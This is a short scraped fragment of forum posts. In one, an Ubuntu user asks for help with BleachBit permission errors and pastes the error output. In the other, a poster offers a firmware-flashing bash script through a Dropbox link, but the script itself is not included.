  24. I recently used bleachbit to clean my Ubuntu 14.04 system. It came up with 5 errors. This has never happened before. There are some files I could not delete do to lack of permission. If I'm root I can do whatever I want right? Maybe not. I tried to chown them and chmod but this only worked with one of the files I was trying to delete. One of the files is in /root/tmp/ and seems to change it's name every time I run the cleaner. I'm not really sure what that's about. Can anyone point me in the way of figuring out how to change the file permissions or users on the files so I can delete them? Here's an example of one of the error messages. E: Could not open lock file /var/cache/apt/archives/lock - open (13: Permission denied) E: Could not open lock file /var/lib/dpkg/lock - open (13: Permission denied) Clipboard 0 Exception while running operation 'system': '[Errno 13] Permission denied: '/proc/1502/fd/0'' [Errno 13] Permission denied: '/proc/3243/oom_score_adj' [Errno 13] Permission denied: '/root/tmpt4sg66ANKTWYtvt2wymcbW USu0Iy eqOReD6w7fpaiQ11ejLN3b3xx0HJx rqG4i5t0HQ3onM7yseJYjpM.DgwPtPpbjE8cHpO.N2oVsy3IS1q ua5k YkJSNn SYvN19kB.n1th-3XutMhFkNC R8Q8t.eqWSpqc.Bdc3gtCJZl0MHTLZ2ifGhV34GBlmbEhZ50lt _wWaw-XFZowp JCGk09uHiUssFoPBPj4U1nGSAe1qFJYfyTnbLk' Disk space recovered: 0 Files deleted: 0 Special operations: 1 Errors: 5
  25. Here's a bash script that lets you easily compile scripts as well as flash firmware! Unfortunately, when I paste the script directly on to this page, it isn't shown correctly so here is a dropbox link to it (my Github account has messed up a bit so I can't sync my repositories anymore): Link (Click Here!) Here's the script if you want to review it before downloading:
×
×
  • Create New...